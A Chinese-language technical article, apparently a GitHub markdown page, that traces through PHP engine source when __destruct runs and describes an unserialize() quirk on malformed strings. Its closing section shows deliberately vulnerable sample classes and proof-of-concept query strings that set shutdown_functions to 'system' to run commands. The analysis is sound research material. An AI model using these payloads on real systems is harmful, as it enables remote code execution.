Skip to content

Latest commit

 

History

History
680 lines (549 loc) · 20.3 KB

pch-011.md

File metadata and controls

680 lines (549 loc) · 20.3 KB

Destructor in PHP

@cywm528 date:2014-04-21

PHP5 引入了析构函数的概念,允许在类中定义 __destruct 方法作为析构函数。具有析构函数的类实例化后,析构函数会在一些情况下被调用。

PHP 脚本执行正常终止

PHP 脚本执行结束后,会调用 php_request_shutdown 函数进行关闭操作。

void php_request_shutdown(void *dummy)
{
    ...
	zend_try {
		zend_call_destructors(TSRMLS_C);
	} zend_end_try();

zend_call_destructors 函数会调用 zend_objects_store_call_destructors 函数处理 EG(objects_store) ,EG(objects_store) 存储了脚本执行阶段生成的所有对象,其存取结构为 _zend_object_store_bucket 结构体。

typedef struct _zend_object_store_bucket {
	zend_bool destructor_called;
	zend_bool valid;
	zend_uchar apply_count;
	union _store_bucket {
		struct _store_object {
			void *object;
			zend_objects_store_dtor_t dtor;
			zend_objects_free_object_storage_t free_storage;
			zend_objects_store_clone_t clone;
			const zend_object_handlers *handlers;
			zend_uint refcount;
			gc_root_buffer *buffered;
		} obj;
		struct {
			int next;
		} free_list;
	} bucket;
} zend_object_store_bucket;

typedef struct _zend_objects_store {
	zend_object_store_bucket *object_buckets;
	zend_uint top;
	zend_uint size;
	int free_list_head;
} zend_objects_store;

destructor_called 的值为 1,表示已调用过 __destruct 方法,值为 0,则表示没调用过;refcount 是对像的引用计数(其作用后面会讲解到)。

如果 destructor_called 的值为 0,zend_objects_store_call_destructors 函数会把 destructor_called 设置为 1,并调用 zend_objects_destroy_object 函数来处理,该函数会执行对象所定义的 __destruct 方法(如果定义了的话),最后销毁对象。

因此,当 PHP 脚本执行正常终止时,会执行未在脚本执行过程中销毁的对象所定义的 __destruct 方法,如下面的代码:

<?php

class cywm528 {
    function __destruct() {
        echo 'cywm528.';
    }
}

$obj = new cywm528;
echo 'hi, ';

// 输出 hi, cywm528.

?>

PHP 脚本执行过程发生 Fatal error 错误

来看下 PHP 在 5.1.3 以前的版本对脚本执行过程中发生错误的处理:

static void php_error_cb(int type, const char *error_filename, const uint error_lineno, const char *format, va_list args)
{
    ...
	switch (type) {
		case E_CORE_ERROR:
			if(!module_initialized) {
				/* bad error in module startup - no way we can live with this */
				exit(-2);
			}
		/* no break - intentionally */
		case E_ERROR:
		/* case E_PARSE: the parser would return 1 (failure), we can bail out nicely */
		case E_COMPILE_ERROR:
		case E_USER_ERROR:
			EG(exit_status) = 255;
			if (module_initialized) {
#if MEMORY_LIMIT
				/* restore memory limit */
				AG(memory_limit) = PG(memory_limit);
#endif
				efree(buffer);
				zend_bailout();
				return;
			}
			break;
	}

如果脚本执行过程中出现了 Fatal error 级别的错误,会先输出错误信息,然后调用 zend_bailout 函数退出脚本执行过程,这又回到了上面提到的脚本执行结束的处理过程,所以这时会执行未在脚本执行过程中销毁的对象所定义的 __destruct 方法。

其实这样的处理是不合逻辑的,发生 Fatal error 错误时属于 PHP 脚本未能正常执行,这时如果执行 __destruct 方法,可能会出现一些问题。

所以 PHP 从 5.1.3 版本开始修正了这个问题:

static void php_error_cb(int type, const char *error_filename, const uint error_lineno, const char *format, va_list args)
{
	...
    switch (type) {
		case E_CORE_ERROR:
			if(!module_initialized) {
				/* bad error in module startup - no way we can live with this */
				exit(-2);
			}
		/* no break - intentionally */
		case E_ERROR:
		case E_RECOVERABLE_ERROR:
		case E_PARSE:
		case E_COMPILE_ERROR:
		case E_USER_ERROR:
		...
				if (type == E_PARSE) {
					CG(parse_error) = 0;
				} else {
					/* restore memory limit */
					zend_set_memory_limit(PG(memory_limit) TSRMLS_CC);
					efree(buffer);
					zend_objects_store_mark_destructed(&EG(objects_store) TSRMLS_CC);
					zend_bailout();
					return;

在调用 zend_bailout 函数前,调用了 zend_objects_store_mark_destructed 函数,这个函数会把 destructor_called 的值设为 1,这样在脚本执行结束的处理过程中不会执行 __destruct 方法。

因此在 PHP5 < 5.1.3 的运行环境下,当脚本执行过程发生 Fatal error 错误,会执行未在脚本执行过程中销毁的对象所定义的 __destruct 方法,如下面的代码:

<?php

class cywm528 {
    function __destruct() {
        echo 'cywm528.';
    }
}

$obj1 = new cywm528;
$obj2 = new cywm529;

// 输出 Fatal error 错误信息
// 输出 cywm528.

?>

PHP 脚本执行过程中对象被销毁

脚本执行过程中,当没有变量引用对象时,也就是对象的引用计数为 0(即 refcount=0)时,会调用 zend_objects_destroy_object 函数执行该对象的 __destruct 方法(如果定义了的话)并销毁对象。

<?php

class cywm528 {
    function __destruct() {
        echo 'cywm528.';
    }
}

new cywm528;

// 没有变量引用该对象,对象被销毁,输出 cywm528.

$obj1 = new cywm528;
$obj3 = $obj2 = $obj1;
unset($obj1);
echo 'hi, ';
$obj2 = null;
$obj3 = 'cywm528';
echo ' ok!';

// 引用该对象的变量被销毁,或取消引用,这时没有变量引用该对象,对象被销毁,输出 hi, cywm528. ok!

?>

调用 exit/die 语法结构使 PHP 脚本执行正常终止

看下 exit 语法结构的处理过程:

void zend_do_exit(znode *result, const znode *message TSRMLS_DC) /* {{{ */
{
	zend_op *opline = get_next_op(CG(active_op_array) TSRMLS_CC);

	opline->opcode = ZEND_EXIT;
	SET_NODE(opline->op1, message);
	SET_UNUSED(opline->op2);

	result->op_type = IS_CONST;
	Z_TYPE(result->u.constant) = IS_BOOL;
	Z_LVAL(result->u.constant) = 1;
}

生成的 opcode 为 ZEND_EXIT,看看 zend 虚拟机对这条 opcode 的处理:

ZEND_VM_HANDLER(79, ZEND_EXIT, CONST|TMP|VAR|UNUSED|CV, ANY)
{
#if !defined(ZEND_VM_SPEC) || (OP1_TYPE != IS_UNUSED)
	USE_OPLINE

	SAVE_OPLINE();
	if (OP1_TYPE != IS_UNUSED) {
		zend_free_op free_op1;
		zval *ptr = GET_OP1_ZVAL_PTR(BP_VAR_R);

		if (Z_TYPE_P(ptr) == IS_LONG) {
			EG(exit_status) = Z_LVAL_P(ptr);
		} else {
			zend_print_variable(ptr);
		}
		FREE_OP1();
	}
#endif
	zend_bailout();
	ZEND_VM_NEXT_OPCODE(); /* Never reached */
}

输出信息,并调用 zend_bailout 函数退出脚本执行过程,这又回到了上面提到的脚本执行结束的处理过程,所以这时会执行未在脚本执行过程中销毁的对象所定义的 __destruct 方法。

因此,当调用 exit/die 语言结构使 PHP 脚本执行正常终止时,会执行未在脚本执行过程中销毁的对象所定义的 __destruct 方法,如下面的代码:

<?php

class cywm528 {
    function __destruct() {
        echo 'cywm528.';
    }
}

$obj = new cywm528;
exit('hi, ');

// 输出 hi, cywm528.

?>

unserialize() 函数对非法格式序列化字符串反序列化处理的「特性」

<?php

class cywm528 {
	function __destruct() {
		echo 'cywm528.';
	}
}

class cywm529 {
	function __destruct() {
		echo 'who is cywm529?';
	}
}

echo 'hi, ';

$obj1 = unserialize('O:7:"cywm529":0:{}');
$obj2 = unserialize('O:7:"cywm528":0:{}');
$obj2 = null;

echo ' ok!';

// 输出 hi, cywm528. ok! who is cywm529?

?>

从上面的代码可以看到,unserialize() 函数通过反序列化处理可以实例化对象,当初始化的对象没有变量引用时或脚本执行终止时就会执行该对象的 __destruct 方法。

这些特点属于 unserialize() 函数的正常功能,不是本文讨论的重点。这里主要讨论 unserialize() 函数对非法格式序列化字符串反序列化处理的「特性」,利用该「特性」可以立即执行 __destruct 方法,而不受脚本中代码处理过程的影响。

先来看看 unserialize() 函数是如何进行反序列化的:

PHP_FUNCTION(unserialize)
{
	char *buf = NULL;
	int buf_len;
	const unsigned char *p;
	php_unserialize_data_t var_hash;
	zval *consumed = NULL;

	if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s|z", &buf, &buf_len, &consumed) == FAILURE) {
		RETURN_FALSE;
	}

	if (buf_len == 0) {
		RETURN_FALSE;
	}

	p = (const unsigned char*) buf;
	PHP_VAR_UNSERIALIZE_INIT(var_hash);
	if (!php_var_unserialize(&return_value, &p, p + buf_len, &var_hash TSRMLS_CC)) {
		PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
		zval_dtor(return_value);
		if (!EG(exception)) {
			php_error_docref(NULL TSRMLS_CC, E_NOTICE, "Error at offset %ld of %d bytes", (long)((char*)p - buf), buf_len);
		}
		RETURN_FALSE;
	}
	PHP_VAR_UNSERIALIZE_DESTROY(var_hash);

调用 php_var_unserialize 函数进行反序列化,return_value 会指向反序列化过程中生成的变量,如果反序列化失败,会调用 zval_dtor 销毁 return_value,由于此时反序列化过程中生成的变量引用计数为 0,所以反序列化过程中生成的变量也会销毁。

来看下 php_var_unserialize 函数对一些特定格式的字符串反序列化处理的代码(为了便于理解,这里分析的是 re2c 词法分析器的规则文件,而非其生成的 C 文件):

/*!re2c
uiv = [+]? [0-9]+;
iv = [+-]? [0-9]+;
nv = [+-]? ([0-9]* "." [0-9]+|[0-9]+ "." [0-9]*);
nvexp = (iv | nv) [eE] [+-]? iv;
any = [\000-\377];
object = [OC];
*/
...
PHPAPI int php_var_unserialize(UNSERIALIZE_PARAMETER)
{
	const unsigned char *cursor, *limit, *marker, *start;
	zval **rval_ref;

	limit = max;
	cursor = *p;
	...
"a:" uiv ":" "{" {
	long elements = parse_iv(start + 2);
	/* use iv() not uiv() in order to check data range */
	*p = YYCURSOR;

	if (elements < 0) {
		return 0;
	}

	INIT_PZVAL(*rval);

	array_init_size(*rval, elements);

	if (!process_nested_data(UNSERIALIZE_PASSTHRU, Z_ARRVAL_PP(rval), elements, 0)) {
		return 0;
	}

	return finish_nested_data(UNSERIALIZE_PASSTHRU);
}
...
object ":" uiv ":" ["]	{
	size_t len, len2, len3, maxlen;
	long elements;
	char *class_name;
	zend_class_entry *ce;
	zend_class_entry **pce;
	...
	len2 = len = parse_uiv(start + 2);
	maxlen = max - YYCURSOR;
	if (maxlen < len || len == 0) {
		*p = start + 2;
		return 0;
	}

	class_name = (char*)YYCURSOR;

	YYCURSOR += len;

	if (*(YYCURSOR) != '"') {
		*p = YYCURSOR;
		return 0;
	}
	if (*(YYCURSOR+1) != ':') {
		*p = YYCURSOR+1;
		return 0;
	}

	len3 = strspn(class_name, "0123456789_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\177\200\201\202\203\204\205\206\207\210\211\212\213\214\215\216\217\220\221\222\223\224\225\226\227\230\231\232\233\234\235\236\237\240\241\242\243\244\245\246\247\250\251\252\253\254\255\256\257\260\261\262\263\264\265\266\267\270\271\272\273\274\275\276\277\300\301\302\303\304\305\306\307\310\311\312\313\314\315\316\317\320\321\322\323\324\325\326\327\330\331\332\333\334\335\336\337\340\341\342\343\344\345\346\347\350\351\352\353\354\355\356\357\360\361\362\363\364\365\366\367\370\371\372\373\374\375\376\377\\");
	if (len3 != len)
	{
		*p = YYCURSOR + len3 - len;
		return 0;
	}

	class_name = estrndup(class_name, len);
	...
	*p = YYCURSOR;
	...
	elements = object_common1(UNSERIALIZE_PASSTHRU, ce);
	...
	return object_common2(UNSERIALIZE_PASSTHRU, elements);
}

经 serialize() 函数序列化的对象应该是如下格式的字符串:

O:len:"classname":elements:{i:x;s:x:"xxx";s:x:"xxx";a:x:{}...}

这其中 len 是实例化对象的类的名字长度,是一个非负数;elements 是对象包含的元素个数,可以是任意整数,{} 中的字符串是对象包含的所有元素,每个元素包括元素名和元素值,合法的元素名反序列化后生成的变量类型应该是整形或字符串,而合法的元素值发序列化后生成的变量可以是任意类型。 而经 serialize() 函数序列化的数组应该是如下格式的字符串:

a:elements:{i:x;s:x:"xxx";s:x:"xxx";a:x:{}...}

这其中 elements 是数组包含的元素个数,是一个非负数。

由上面的 php_var_unserialize 函数的代码片段可以看到,如果匹配到 a:elements:{ 这样格式的字符串,会调用 process_nested_data 函数处理,具体的处理过程稍后在分析,先来看匹配到 O:len:"classname": 这样格式的字符串的处理过程,这时会先后调用 object_common1 函数和 object_common2 函数进行处理。

static inline long object_common1(UNSERIALIZE_PARAMETER, zend_class_entry *ce)
{
	long elements;

	elements = parse_iv2((*p) + 2, p);

	(*p) += 2;

	object_init_ex(*rval, ce);
	return elements;
}

object_common1 函数先取得 elements,并跳过两个字符,这样的处理是为了跳过 :{ 字符串已备下一步的处理(这样的处理有个小问题,因为没有进行严格匹配,这里可以是随便两个字符)。然后会调用 object_init_ex 函数初始化对象,将对象存入 EG(objects_store),并把 return_value 指向生成的对象。

static inline int object_common2(UNSERIALIZE_PARAMETER, long elements)
{
	zval *retval_ptr = NULL;
	zval fname;

	if (!process_nested_data(UNSERIALIZE_PASSTHRU, Z_OBJPROP_PP(rval), elements, 1)) {
		return 0;
	}

	if (Z_OBJCE_PP(rval) != PHP_IC_ENTRY &&
		zend_hash_exists(&Z_OBJCE_PP(rval)->function_table, "__wakeup", sizeof("__wakeup"))) {
		INIT_PZVAL(&fname);
		ZVAL_STRINGL(&fname, "__wakeup", sizeof("__wakeup") - 1, 0);
		BG(serialize_lock)++;
		call_user_function_ex(CG(function_table), rval, &fname, &retval_ptr, 0, 0, 1, NULL TSRMLS_CC);
		BG(serialize_lock)--;
	}

	if (retval_ptr) {
		zval_ptr_dtor(&retval_ptr);
	}

	if (EG(exception)) {
		return 0;
	}

	return finish_nested_data(UNSERIALIZE_PASSTHRU);

}

object_common2 函数会调用 process_nested_data 函数反序列化对象包含的元素。

static inline int process_nested_data(UNSERIALIZE_PARAMETER, HashTable *ht, long elements, int objprops)
{
	while (elements-- > 0) {
		zval *key, *data, **old_data;

		ALLOC_INIT_ZVAL(key);

		if (!php_var_unserialize(&key, p, max, NULL TSRMLS_CC)) {
			zval_dtor(key);
			FREE_ZVAL(key);
			return 0;
		}

		if (Z_TYPE_P(key) != IS_LONG && Z_TYPE_P(key) != IS_STRING) {
			zval_dtor(key);
			FREE_ZVAL(key);
			return 0;
		}

		ALLOC_INIT_ZVAL(data);

		if (! (&data, p, max, var_hash TSRMLS_CC)) {
			zval_dtor(key);
			FREE_ZVAL(key);
			zval_dtor(data);
			FREE_ZVAL(data);
			return 0;
		}

		if (!objprops) {
			switch (Z_TYPE_P(key)) {
			case IS_LONG:
				if (zend_hash_index_find(ht, Z_LVAL_P(key), (void **)&old_data)==SUCCESS) {
					var_push_dtor(var_hash, old_data);
				}
				zend_hash_index_update(ht, Z_LVAL_P(key), &data, sizeof(data), NULL);
				break;
			case IS_STRING:
				if (zend_symtable_find(ht, Z_STRVAL_P(key), Z_STRLEN_P(key) + 1, (void **)&old_data)==SUCCESS) {
					var_push_dtor(var_hash, old_data);
				}
				zend_symtable_update(ht, Z_STRVAL_P(key), Z_STRLEN_P(key) + 1, &data, sizeof(data), NULL);
				break;
			}
		} else {
			/* object properties should include no integers */
			convert_to_string(key);
			zend_hash_update(ht, Z_STRVAL_P(key), Z_STRLEN_P(key) + 1, &data,
					sizeof data, NULL);
		}

		zval_dtor(key);
		FREE_ZVAL(key);

		if (elements && *(*p-1) != ';' && *(*p-1) != '}') {
			(*p)--;
			return 0;
		}
	}

	return 1;
}

finish_nested_data 函数对数组包含的元素或对象包含的元素进行处理,调用 php_var_unserialize 函数分别对元素名和元素值进行反序列化,如果元素名或者元素值反序列化失败,返回 0;如果反序列化元素值后生成的变量类型不是整型或者字符串,返回 0;如果每个元素不是以 ; 或者 } 结尾,返回 0。

回到 object_common2 函数,如果包含的元素成功处理完成,会调用 finish_nested_data 函数。

static inline int finish_nested_data(UNSERIALIZE_PARAMETER)
{
	if (*((*p)++) == '}')
		return 1;

#if SOMETHING_NEW_MIGHT_LEAD_TO_CRASH_ENABLE_IF_YOU_ARE_BRAVE
	zval_ptr_dtor(rval);
#endif
	return 0;
}

如果后面的字符不匹配 } 的话,会返回 0。

综上所述,如果 process_nested_data 函数或者 finish_nested_data 函数的调用过程返回 0,unserialize 函数的反序列化过程就会失败,而之前通过对 O:uiv:"classname": 这部分字符串的反序列化已经初始化了相应的对象,但是因为 return_value 被销毁,对象的引用计数为 0,对象也会被销毁,如果实例化对象的类中定义了 __destruct 方法的话,__destruct 方法将会执行。

因此,利用 unserialize() 的这个特性,可以让 __destruct 方法立即执行,如下代码:

<?php

class cywm528 {
	function __destruct() {
		echo 'cywm528.';
	}
}

echo 'hi, ';

$obj = unserialize('O:7:"cywm528":');
// $obj = unserialize('O:7:"cywm528":1:{}');
// $arr = unserialize('a:1:{O:7:"cywm528":0:{}');
// $arr = unserialize('a:2:{O:7:"cywm528":0:{};s:7:"cywm528";}');

echo ' ok!';

// 输出 hi, cywm528. ok!

?>

同时从上面的分析还可以发现另外一个有意思的特性,如下代码:

<?php

class cywm528 {}

$arr = unserialize('a:1:{s:7:"cywm528";O:7:"cywm528":0xx}}');

var_dump($arr);

// 输出 array(1) {
//         ["cywm528"]=>
//         object(cywm528)#1 (0) {
//         }
//     }

?>

可以看到,并没有严格匹配 :{,可以用任意两个字符替代并成功反序列化,这和 serialize() 序列化对象的处理是不一致的。

潜在安全隐患

<?php

class Core {
    function __destruct() {
        global $shutdown_functions;

        if($shutdown_functions && is_array($shutdown_functions)) {
			call_user_func($shutdown_functions['function'], $shutdown_functions['arguments']);
		}
	}
}

$core = new Core;

if($_GET['filename']) {
	require basename($_GET['filename']);
}

$id = unserialize($_GET['id']);

$shutdown_functions = array();

?>

上面的代码,如果可以控制 $shutdown_functions,就可以利用 Core 类中的 __destruct() 方法来执行任意代码,但 $shutdown_functions 是有初始化的,所以必须在 $shutdown_functions 初始化前执行 __destruct() 方法才能利用。

根据上面对析构函数执行阶段的分析,这段代码可以有利用两个方式:

i)利用 require 包含不存在的文件造成 Fatal error 错误,在 $shutdown_functions 初始化前执行 __destruct()。

在 PHP5 < 5.1.3 的运行环境下

foo.php?filename=cywm528&shutdown_functions[function]=system&shutdown_functions[arguments]=id

ii)利用 unserialize() 函数对非法格式序列化字符串进行反序列化的「特性」在 $shutdown_functions 初始化之前执行 __destruct()。

foo.php?id=O:4:"Core":&shutdown_functions[function]=system&shutdown_functions[arguments]=id

再看下面的代码片段:

<?php

class Core {
    function __construct() {
		$protected = array("_GET", "_POST", "_SERVER", "_COOKIE", "_FILES", "_ENV", "GLOBALS");
		foreach($protected as $var) {
			if(isset($_REQUEST[$var]) || isset($_FILES[$var])) {
				exit("Hacking attempt");
			}
		}

		if(@ini_get("register_globals") == 1) {
			$this->unset_globals($_POST);
			$this->unset_globals($_GET);
			$this->unset_globals($_FILES);
			$this->unset_globals($_COOKIE);
		}
	}

	function unset_globals($array) {
		if(!is_array($array)) {
			return;
		}

		foreach(array_keys($array) as $key) {
			unset($GLOBALS[$key]);
		}
	}

	function __destruct() {
		global $shutdown_functions;

		if($shutdown_functions && is_array($shutdown_functions)) {
			call_user_func($shutdown_functions['function'], $shutdown_functions['arguments']);
		}
	}
}

$core = new Core;

if ($_GET['filename']) {
	require basename($_GET['filename']);
}

$id = unserialize($_GET['id']);

$shutdown_functions = array();

?>

在取消全局变量的情况下,利用 require 包含不存在的文件造成 Fatal error 错误以及利用 unserialize() 函数对非法格式序列化字符串进行反序列化的「特性」虽能在 $shutdown_functions 初始化前执行 __destruct() 方法,但无法控制 $shutdown_functions。

这时可以利用 exit 语言结构在取消全局变量前退出脚本执行过程,并执行 Core 类中的 __destruct() 方法,因为没有取消全局,$shutdown_functions 也是可以控制的。

foo.php?GLOBALS=1&shutdown_functions[function]=system&shutdown_functions[arguments]=id